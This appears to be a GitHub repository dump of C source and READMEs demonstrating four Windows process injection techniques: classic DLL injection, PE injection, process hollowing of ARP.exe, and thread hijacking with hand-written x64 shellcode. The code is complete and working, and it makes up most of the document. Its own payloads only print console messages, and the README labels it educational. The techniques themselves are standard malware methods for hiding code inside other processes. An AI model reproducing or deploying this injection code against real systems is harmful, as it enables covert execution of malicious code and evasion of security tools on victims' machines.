├── PE injection ├── README.md └── PE injection.c ├── Process hollowing ├── README.md └── Process hollowing.c ├── Classic DLL injection ├── README.md └── Classic DLL injection.c ├── Thread hijacking ├── README.md └── Thread hijacking.c └── README.md /PE injection/README.md: -------------------------------------------------------------------------------- 1 | # PE injection 2 | Injects a copy of itself into a remote process then calls one of its 3 | functions. In this example the function prints to the console. 4 | 5 | Lots of code borrowed from the [sevagas blog](http://blog.sevagas.com/?PE-injection-explained) 6 | -------------------------------------------------------------------------------- /Process hollowing/README.md: -------------------------------------------------------------------------------- 1 | # Process hollowing 2 | Starts a new process, unmaps its contents and replaces it with a different 3 | image. Mismatched subsystems (trying to replace a console application 4 | with a GUI application) can cause weirdness. 5 | 6 | Lots of code adapted from [m0n0ph1's C++ process hollowing example](https://github.com/m0n0ph1/Process-Hollowing) 7 | -------------------------------------------------------------------------------- /Classic DLL injection/README.md: -------------------------------------------------------------------------------- 1 | # Classic DLL injection 2 | Write the path of a dll that resides on disk into a target process's 3 | memory and call LoadLibrary() with it as the parameter. 4 | 5 | 6 | A simple way to test this is to write a dll with a dllmain function that 7 | prints a message to the console on DLL\_PROCESS\_ATTACH and inject this 8 | into your target console application mentioned in the repo readme. 9 | -------------------------------------------------------------------------------- /Thread hijacking/README.md: -------------------------------------------------------------------------------- 1 | # Thread hijacking 2 | Suspend a thread in a remote process, allocate some space to inject 3 | shellcode then change the thread's context to run your code. Also known as SIR (Suspend, Inject, Resume). Attempts 4 | to recover normal thread operation once shellcode has run. 5 | Operates on the first thread it comes across in the target process. 6 | Should print the text "Success" to the console of the target application. 7 | 8 | 9 | Some code adapted from [OpenSecurityResearch's dllinjector](https://github.com/OpenSecurityResearch/dllinjector/blob/master/src/ExecThread.cpp) 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Windows Process Injection 2 | Some simple and unoriginal process injection techniques targeting the Windows platform 3 | 4 | 5 | Based off the first four entries in [this Endgame blogpost](https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process) 6 | which provides good background on the following techniques: 7 | 1. __Classic DLL injection__ 8 | 2. __PE injection__ 9 | 3. __Process hollowing__ 10 | 4. __Thread hijacking__ 11 | 12 | 13 | Written in C, error handling has been removed for brevity. 14 | Uses documented WinAPI functions where possible for simplicity, as opposed 15 | to more esoteric ones favoured by malware authors. 16 | Tested using Visual Studio 2017 on Windows 10 Pro v1703 build 15063.483 __only for 64bit builds__. 17 | 18 | 19 | A quick way to test these techniques out is to write a small console 20 | application that prints a message every 5 seconds to ensure it hasn't 21 | crashed. Use this as your injection target. 22 | 23 | 24 | _For educational purposes only e.t.c._ 25 | -------------------------------------------------------------------------------- /Classic DLL injection/Classic DLL injection.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | LPCTSTR sTargetProcessName = L"target.exe"; 7 | WCHAR sDllPath[] = L"injectme.dll"; 8 | 9 | // locate LoadLibrary() 10 | HMODULE hKernel32 = GetModuleHandle((LPCTSTR)L"kernel32"); 11 | FARPROC fpLoadLibrary = GetProcAddress(hKernel32, (LPCSTR)"LoadLibraryW"); 12 | 13 | // retrieve & walk process snapshot 14 | HANDLE hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 15 | PROCESSENTRY32 pe32; 16 | pe32.dwSize = sizeof(PROCESSENTRY32); 17 | Process32First(hProcessSnapshot, &pe32); 18 | 19 | HANDLE hRemoteProcess; 20 | do { 21 | if (0 == lstrcmp(sTargetProcessName, pe32.szExeFile)) { 22 | hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); 23 | CloseHandle(hProcessSnapshot); 24 | break; 25 | } 26 | } while (Process32Next(hProcessSnapshot, &pe32)); 27 | 28 | // allocate space for dll path in target process 29 | LPVOID pRemoteAllocation = VirtualAllocEx(hRemoteProcess, NULL, sizeof(sDllPath), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 30 | 31 | // write dll path to target process 32 | WriteProcessMemory(hRemoteProcess, pRemoteAllocation, sDllPath, sizeof(sDllPath), NULL); 33 | 34 | // create a remote thread in the target process 35 | HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)fpLoadLibrary, pRemoteAllocation, 0, NULL); 36 | CloseHandle(hRemoteProcess); 37 | 38 | return 0; 39 | } -------------------------------------------------------------------------------- /PE injection/PE injection.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void function(); 6 | 7 | int main() 8 | { 9 | LPCTSTR sTargetProcessName = L"target.exe"; 10 | 11 | // get handle to our process image and retrieve appropriate PE headers 12 | HMODULE hThisProcess = GetModuleHandle(NULL); 13 | PIMAGE_NT_HEADERS PEHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)hThisProcess + ((PIMAGE_DOS_HEADER)hThisProcess)->e_lfanew); 14 | DWORD dwModuleSize = PEHeaders->OptionalHeader.SizeOfImage; 15 | 16 | // retrieve & walk process snapshot 17 | HANDLE hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 18 | PROCESSENTRY32 pe32; 19 | pe32.dwSize = sizeof(PROCESSENTRY32); 20 | Process32First(hProcessSnapshot, &pe32); 21 | 22 | HANDLE hRemoteProcess; 23 | do { 24 | if (0 == lstrcmp(sTargetProcessName, pe32.szExeFile)) { 25 | hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); 26 | CloseHandle(hProcessSnapshot); 27 | break; 28 | } 29 | } while (Process32Next(hProcessSnapshot, &pe32)); 30 | 31 | // allocate space for module in target process 32 | LPVOID lpRemoteAllocation = VirtualAllocEx(hRemoteProcess, NULL, dwModuleSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 33 | 34 | // difference between remote and local image addresses 35 | DWORD_PTR delta = (DWORD_PTR)((LPBYTE)lpRemoteAllocation - ((LPBYTE)hThisProcess)); 36 | 37 | // local copy of module image in preparation for reloc fixups 38 | LPBYTE pLocalCopy = malloc(dwModuleSize); 39 | memcpy(pLocalCopy, hThisProcess, dwModuleSize); 40 | 41 | // find .reloc section 42 | PIMAGE_DATA_DIRECTORY pDataDirectory = &PEHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 43 | PIMAGE_BASE_RELOCATION relocs = (PIMAGE_BASE_RELOCATION)(pLocalCopy + pDataDirectory->VirtualAddress); 44 | 45 | // walk reloc blocks 46 | while (relocs->VirtualAddress != 0) { 47 | // only process if block contains relocation descriptors 48 | if (relocs->SizeOfBlock > sizeof(IMAGE_BASE_RELOCATION)) { 49 | // count relocation descriptors 50 | DWORD dwNumDesciptors = (relocs->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); 51 | LPWORD lpwDescriptorList = (LPWORD)((LPBYTE)relocs + sizeof(IMAGE_BASE_RELOCATION)); 52 | 53 | // for each descriptor 54 | for (DWORD i = 0; i < dwNumDesciptors; i++) { 55 | if (lpwDescriptorList[i] > 0) { 56 | // 'fix' points to fixup location 57 | DWORD_PTR* fix = (DWORD_PTR*)(pLocalCopy + (relocs->VirtualAddress + (0x0FFF & (lpwDescriptorList[i])))); 58 | // add delta to fix address for new location in remote process 59 | *fix += delta; 60 | } 61 | } 62 | } 63 | // point 'relocs' at next reloc block 64 | relocs = (PIMAGE_BASE_RELOCATION)((LPBYTE)relocs + relocs->SizeOfBlock); 65 | } 66 | 67 | // write fixed module to target process 68 | size_t szBytesWritten; 69 | WriteProcessMemory(hRemoteProcess, lpRemoteAllocation, pLocalCopy, dwModuleSize, &szBytesWritten); 70 | free(pLocalCopy); 71 | 72 | // calculate address of function() in remote process 73 | LPTHREAD_START_ROUTINE tStartRoutine = (LPTHREAD_START_ROUTINE)((LPBYTE)lpRemoteAllocation + ((LPBYTE)function - (LPBYTE)hThisProcess)); 74 | 75 | // create remote thread in target process 76 | DWORD dwRemoteThreadID; 77 | HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, tStartRoutine, NULL, 0, &dwRemoteThreadID); 78 | CloseHandle(hRemoteProcess); 79 | 80 | return 0; 81 | } 82 | 83 | // call this from the remote process 84 | void function() 85 | { 86 | _tprintf(TEXT("function() called successfully\n")); 87 | } 88 | -------------------------------------------------------------------------------- /Thread hijacking/Thread hijacking.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define GETSTDHANDLEMARKER 0xaa 5 | #define WRITEFILEMARKER 0xbb 6 | 7 | DWORD getMarker(UCHAR* shellcode, int marker, size_t len); 8 | 9 | int main() 10 | { 11 | LPCTSTR sTargetProcessName = L"target.exe"; 12 | 13 | UCHAR shellcode[] = { 14 | // save registers & flags 15 | 0x9c, // pushfq 16 | 0x50, 0x51, 0x52, 0x47, 0x50, 0x47, 0x51, // push rax, rcx, rdx, r8, r9 17 | 18 | // setup WriteFile() arguments 19 | // lpBuffer (pointer to "Success\0") 20 | 0x48, 0xb8, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x0a, // mov rax, "Success\0" 21 | 0x50, // push rax 22 | 0x48, 0x89, 0xe2, // mov rdx, rsp 23 | 24 | // lpOverlapped (NULL) 25 | 0x48, 0x83, 0xec, 0x28, // sub rsp, 0x28 (shadow + 5th arg of WriteFile()) 26 | 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, // mov qword ptr[rsp + 20h], 0 27 | 28 | // hFile (stdout) 29 | 0x48, 0xb9, 0xf5, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // mov rcx, -11 30 | 0x48, 0xb8, GETSTDHANDLEMARKER, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax,
31 | 0xff, 0xd0, // call rax 32 | 0x48, 0x89, 0xc1, // mov rcx, rax 33 | 34 | // nNumberOfBytesToWrite (8) 35 | 0x49, 0xc7, 0xc0, 0x08, 0x00, 0x00, 0x00, // mov r8, 0x08 36 | 37 | // lpNumberOfBytesWritten (NULL) 38 | 0x4d, 0x31, 0xc9, // xor r9, r9 39 | 40 | // call WriteFile() 41 | 0x48, 0xb8, WRITEFILEMARKER, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax,
42 | 0xff, 0xd0, // call rax 43 | 44 | // close up stack 45 | 0x48, 0x83, 0xc4, 0x30, // add rsp, 0x30 46 | 47 | // restore registers & flags 48 | 0x47, 0x59, 0x47, 0x58, 0x5a, 0x59, 0x58, // pop r9, r8, rdx, rcx, rax 49 | 0x9d, // popfq 50 | 51 | // ret 52 | 0xc3 53 | }; 54 | 55 | // populate shellcode with address of GetStdHandle() & WriteFile() 56 | DWORD dwGetStdHandleOffset = getMarker(shellcode, GETSTDHANDLEMARKER, sizeof(shellcode)); 57 | DWORD dwWriteFileOffset = getMarker(shellcode, WRITEFILEMARKER, sizeof(shellcode)); 58 | 59 | // populate GetStdHandle() 60 | HMODULE hKernel32 = GetModuleHandle((LPCTSTR)L"kernel32"); 61 | FARPROC fpGetStdHandle = GetProcAddress(hKernel32, (LPCSTR)"GetStdHandle"); 62 | 63 | for (size_t i = 0; i < sizeof(DWORD_PTR); i++) 64 | shellcode[dwGetStdHandleOffset + i] = ((long long)fpGetStdHandle >> 8 * i) & 0xff; 65 | 66 | // populate WriteFile() 67 | FARPROC fpWriteFile = GetProcAddress(hKernel32, (LPCSTR)"WriteFile"); 68 | 69 | for (size_t i = 0; i < sizeof(DWORD_PTR); i++) 70 | shellcode[dwWriteFileOffset + i] = ((long long)fpWriteFile >> 8 * i) & 0xff; 71 | 72 | // find target PID 73 | HANDLE hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 74 | PROCESSENTRY32 pe32; 75 | pe32.dwSize = sizeof(PROCESSENTRY32); 76 | Process32First(hProcessSnapshot, &pe32); 77 | 78 | DWORD dwTargetPID; 79 | do { 80 | if (0 == lstrcmp(sTargetProcessName, pe32.szExeFile)) { 81 | dwTargetPID = pe32.th32ProcessID; 82 | CloseHandle(hProcessSnapshot); 83 | break; 84 | } 85 | } while (Process32Next(hProcessSnapshot, &pe32)); 86 | 87 | // pick a thread 88 | HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 89 | THREADENTRY32 te32; 90 | te32.dwSize = sizeof(THREADENTRY32); 91 | Thread32First(hThreadSnapshot, &te32); 92 | 93 | do { 94 | if (dwTargetPID == te32.th32OwnerProcessID) { 95 | // suspend target thread 96 | DWORD dwTargetThreadID = te32.th32ThreadID; 97 | CloseHandle(hThreadSnapshot); 98 | HANDLE hTargetThread = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, dwTargetThreadID); 99 | SuspendThread(hTargetThread); 100 | 101 | // get thread context 102 | CONTEXT cTargetThreadContext; 103 | cTargetThreadContext.ContextFlags = CONTEXT_FULL; 104 | GetThreadContext(hTargetThread, &cTargetThreadContext); 105 | 106 | // save return address 107 | HANDLE hTargetProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwTargetPID); 108 | cTargetThreadContext.Rsp -= sizeof(DWORD_PTR); 109 | WriteProcessMemory(hTargetProcess, (LPVOID)cTargetThreadContext.Rsp, (LPCVOID)&cTargetThreadContext.Rip, sizeof(DWORD_PTR), NULL); 110 | 111 | // allocate space & write shellcode to target process 112 | LPVOID shellcodeAddress = VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 113 | WriteProcessMemory(hTargetProcess, shellcodeAddress, (LPCVOID)shellcode, sizeof(shellcode), NULL); 114 | 115 | // set new thread context & resume 116 | cTargetThreadContext.Rip = (DWORD64)shellcodeAddress; 117 | SetThreadContext(hTargetThread, &cTargetThreadContext); 118 | ResumeThread(hTargetThread); 119 | CloseHandle(hTargetThread); 120 | } 121 | } while (Thread32Next(hThreadSnapshot, &te32)); 122 | 123 | return 0; 124 | } 125 | 126 | DWORD getMarker(UCHAR* shellcode, int marker, size_t len) 127 | { 128 | for (DWORD i = 0; i < len; i++) 129 | if (marker == shellcode[i]) 130 | return i; 131 | 132 | return 0; 133 | } 134 | -------------------------------------------------------------------------------- /Process hollowing/Process hollowing.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef NTSTATUS(WINAPI* xNtQueryInformationProcess)( 5 | HANDLE ProcessHandle, 6 | PROCESSINFOCLASS ProcessInformationClass, 7 | PVOID ProcessInformation, 8 | ULONG ProcessInformationLength, 9 | PULONG ReturnLength); 10 | 11 | typedef NTSTATUS(WINAPI* xNtUnmapViewOfSection)( 12 | HANDLE ProcessHandle, 13 | PVOID BaseAddress 14 | ); 15 | 16 | int main() 17 | { 18 | LPCTSTR sTargetProcessPath = L"C:\\windows\\system32\\ARP.exe"; 19 | LPCTSTR sInjectedFilePath = L"injectme.exe"; 20 | 21 | // start target process in suspended state 22 | STARTUPINFO startupInfo; 23 | PROCESS_INFORMATION processInfo; 24 | ZeroMemory(&startupInfo, sizeof(startupInfo)); 25 | ZeroMemory(&processInfo, sizeof(processInfo)); 26 | CreateProcess(sTargetProcessPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo); 27 | 28 | // open injector 29 | HANDLE hInjectorFile = CreateFile(sInjectedFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 30 | 31 | // copy injector image into memory 32 | DWORD injectorFileSize = GetFileSize(hInjectorFile, NULL); 33 | LPBYTE pLocalCopy = malloc(injectorFileSize); 34 | ReadFile(hInjectorFile, pLocalCopy, injectorFileSize, NULL, NULL); 35 | CloseHandle(hInjectorFile); 36 | 37 | // resolve NtQueryInformationProcess() 38 | HANDLE hNtdll = GetModuleHandle((LPCWSTR)L"ntdll"); 39 | FARPROC fpNtQueryInformationProcess = GetProcAddress(hNtdll, (LPCSTR)"NtQueryInformationProcess"); 40 | xNtQueryInformationProcess NtQueryInformationProcess = (xNtQueryInformationProcess)fpNtQueryInformationProcess; 41 | 42 | // copy target process's PEB 43 | PROCESS_BASIC_INFORMATION processBasicInfo; 44 | PEB targetPEB; 45 | NtQueryInformationProcess(processInfo.hProcess, 0, &processBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL); 46 | ReadProcessMemory(processInfo.hProcess, (LPCVOID)processBasicInfo.PebBaseAddress, &targetPEB, sizeof(PEB), NULL); 47 | 48 | // resolve native function NtUnmapViewOfSection() 49 | FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNtdll, (LPCSTR)"NtUnmapViewOfSection"); 50 | xNtUnmapViewOfSection NtUnmapViewOfSection = (xNtUnmapViewOfSection)fpNtUnmapViewOfSection; 51 | 52 | // unmap target process 53 | NtUnmapViewOfSection(processInfo.hProcess, targetPEB.Reserved3[1]); // Reserved3[1] field may not work with your version of Windows 54 | 55 | // prepare to fixup injector image 56 | PIMAGE_NT_HEADERS injectorPEHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pLocalCopy + ((PIMAGE_DOS_HEADER)pLocalCopy)->e_lfanew); 57 | PIMAGE_SECTION_HEADER injectorSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)injectorPEHeaders + sizeof(IMAGE_NT_HEADERS)); 58 | DWORD injectorModuleSize = injectorPEHeaders->OptionalHeader.SizeOfImage; 59 | 60 | // allocate space in target process 61 | LPVOID lpRemoteAllocation = VirtualAllocEx(processInfo.hProcess, targetPEB.Reserved3[1], injectorModuleSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 62 | 63 | // calculate fixup delta 64 | DWORD_PTR delta = (DWORD_PTR)((LPBYTE)lpRemoteAllocation - (LPBYTE)injectorPEHeaders->OptionalHeader.ImageBase); 65 | 66 | // fixup ImageBase in injector copy 67 | injectorPEHeaders->OptionalHeader.ImageBase = (ULONGLONG)lpRemoteAllocation; 68 | 69 | // write injector headers to target process 70 | WriteProcessMemory(processInfo.hProcess, lpRemoteAllocation, pLocalCopy, injectorPEHeaders->OptionalHeader.SizeOfHeaders, NULL); 71 | 72 | // recursively write injector sections to target process 73 | for (size_t i = 0; i < injectorPEHeaders->FileHeader.NumberOfSections; i++) { 74 | // skip empty sections 75 | if (!injectorSectionHeader[i].PointerToRawData) 76 | continue; 77 | 78 | // calculate section location in target process 79 | LPVOID psectionDestination = (LPVOID)((LPBYTE)lpRemoteAllocation + injectorSectionHeader[i].VirtualAddress); 80 | 81 | // write this section into memory 82 | WriteProcessMemory(processInfo.hProcess, psectionDestination, &pLocalCopy[injectorSectionHeader[i].PointerToRawData], injectorSectionHeader[i].SizeOfRawData, NULL); 83 | } 84 | 85 | // fixup remote image 86 | if (delta) { 87 | // find .reloc section 88 | size_t relocIndex; 89 | for (relocIndex = 0; relocIndex < injectorPEHeaders->FileHeader.NumberOfSections; relocIndex++) 90 | if (0 == strcmp(injectorSectionHeader[relocIndex].Name, (const char*)".reloc")) 91 | break; 92 | 93 | PIMAGE_BASE_RELOCATION relocs = (PIMAGE_BASE_RELOCATION)(pLocalCopy + injectorSectionHeader[relocIndex].PointerToRawData); 94 | 95 | // walk reloc blocks 96 | while (relocs->VirtualAddress != 0) { 97 | // only process if block contains relocation descriptors 98 | if (relocs->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { 99 | // count relocation descriptors 100 | DWORD numDescriptors = (relocs->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); 101 | LPWORD descriptorList = (LPWORD)((LPBYTE)relocs + sizeof(IMAGE_BASE_RELOCATION)); 102 | 103 | // for each descriptor 104 | for (DWORD i = 0; i < numDescriptors; i++) { 105 | if (descriptorList[i] > 0) { 106 | // p points to fixup location (for injector image desired load address) 107 | DWORD_PTR* fix = (DWORD_PTR*)((LPBYTE)lpRemoteAllocation + (relocs->VirtualAddress + (0x0FFF & (descriptorList[i])))); 108 | // add delta to fix address in remote process 109 | DWORD_PTR temp; 110 | ReadProcessMemory(processInfo.hProcess, fix, &temp, sizeof(DWORD_PTR), NULL); 111 | temp += delta; 112 | WriteProcessMemory(processInfo.hProcess, fix, &temp, sizeof(DWORD_PTR), NULL); 113 | } 114 | } 115 | } 116 | // set reloc pointer to next reloc block 117 | relocs = (PIMAGE_BASE_RELOCATION)((LPBYTE)relocs + relocs->SizeOfBlock); 118 | } 119 | } 120 | free(pLocalCopy); 121 | 122 | // get primary thread context of target process 123 | CONTEXT cTargetThreadContext; 124 | cTargetThreadContext.ContextFlags = CONTEXT_FULL; 125 | GetThreadContext(processInfo.hThread, &cTargetThreadContext); 126 | 127 | // set new context of target process 128 | DWORD_PTR entrypoint = (DWORD_PTR)((LPBYTE)lpRemoteAllocation + injectorPEHeaders->OptionalHeader.AddressOfEntryPoint); 129 | cTargetThreadContext.Rcx = entrypoint; 130 | SetThreadContext(processInfo.hThread, &cTargetThreadContext); 131 | 132 | // resume thread 133 | ResumeThread(processInfo.hThread); 134 | 135 | return 0; 136 | } 137 | --------------------------------------------------------------------------------